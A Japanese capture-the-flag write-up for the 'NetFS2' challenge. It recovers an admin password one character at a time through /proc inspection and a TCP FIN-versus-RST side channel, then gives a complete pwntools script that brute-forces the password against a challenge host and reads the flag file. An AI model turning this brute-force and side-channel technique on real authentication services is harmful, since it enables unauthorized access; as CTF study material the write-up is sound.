NetFS2

概要

  • adminの認証パスワードを当てる
  • guestとしてログインし/procなど見れる
  • NetFS1と同様に1文字毎にパスワードの判定が入るものの、
    タイムアウトがほぼ5秒になるよう調整されている。

想定解

/proc/<PID>/wchanでrecvの待ち状態を確認できるらしい。
/proc/<PID>/net/tcpのIPアドレスや
/proc/<PID>/statusのtgidでプロセスを特定して待ちの状態を見ることで特定できる。

別解

パスワードの1文字目が0だとする。
このときsend(b"0\n")send(b"1\n")ではサーバからの応答が異なる。
前者では0を正しく受け取り、\nでプロセスが終了し、FINが返ってくる。
後者では1の時点でプロセスが終了する。このときバッファに\nを残したままのためRSTが返ってくる。(たぶん)
もちろん、2~fでも同様なのでこのFINRSTのフラグ情報からパスワードを特定する。

  • 正しい文字のとき
    image
  • 正しくない文字のとき
    image

コード

from pwn import * # pwnlib/tubes/sock.py @39行目変更 # - raise EOFError # + raise e from tqdm import trange import string HOST = '34.170.146.252' PORT = int(20031) # HOST = 'localhost' # PORT = int(10022) # context.log_level = "debug" admin_pass = "02872f5ae0819d2f" for i in trange(16-len(admin_pass)): for c in string.hexdigits: conn = remote(HOST, PORT) conn.sendlineafter(b": ", b"admin") conn.recvuntil(b": ") s_msg = admin_pass + c + "\n" conn.send(s_msg.encode()) if "Logged in." in conn.recv(timeout=5).decode(): break try: conn.recv() except ConnectionResetError as e: pass except EOFError as e: break admin_pass += c print("password:",admin_pass) conn = remote(HOST, PORT) conn.sendlineafter(b": ", b"admin") conn.recvuntil(b": ") conn.sendline(admin_pass.encode()) conn.sendlineafter(b": ", b"./secret/flag.txt") print(conn.recvall(timeout=5).decode())

Pwntoolsのrecv()で直接RSTフラグをキャッチする方法が無さそうだったので
pwnlib/tubes/sock.pyを少しいじった。

# pip list |grep pwntools
pwntools                  4.12.0
Select a repo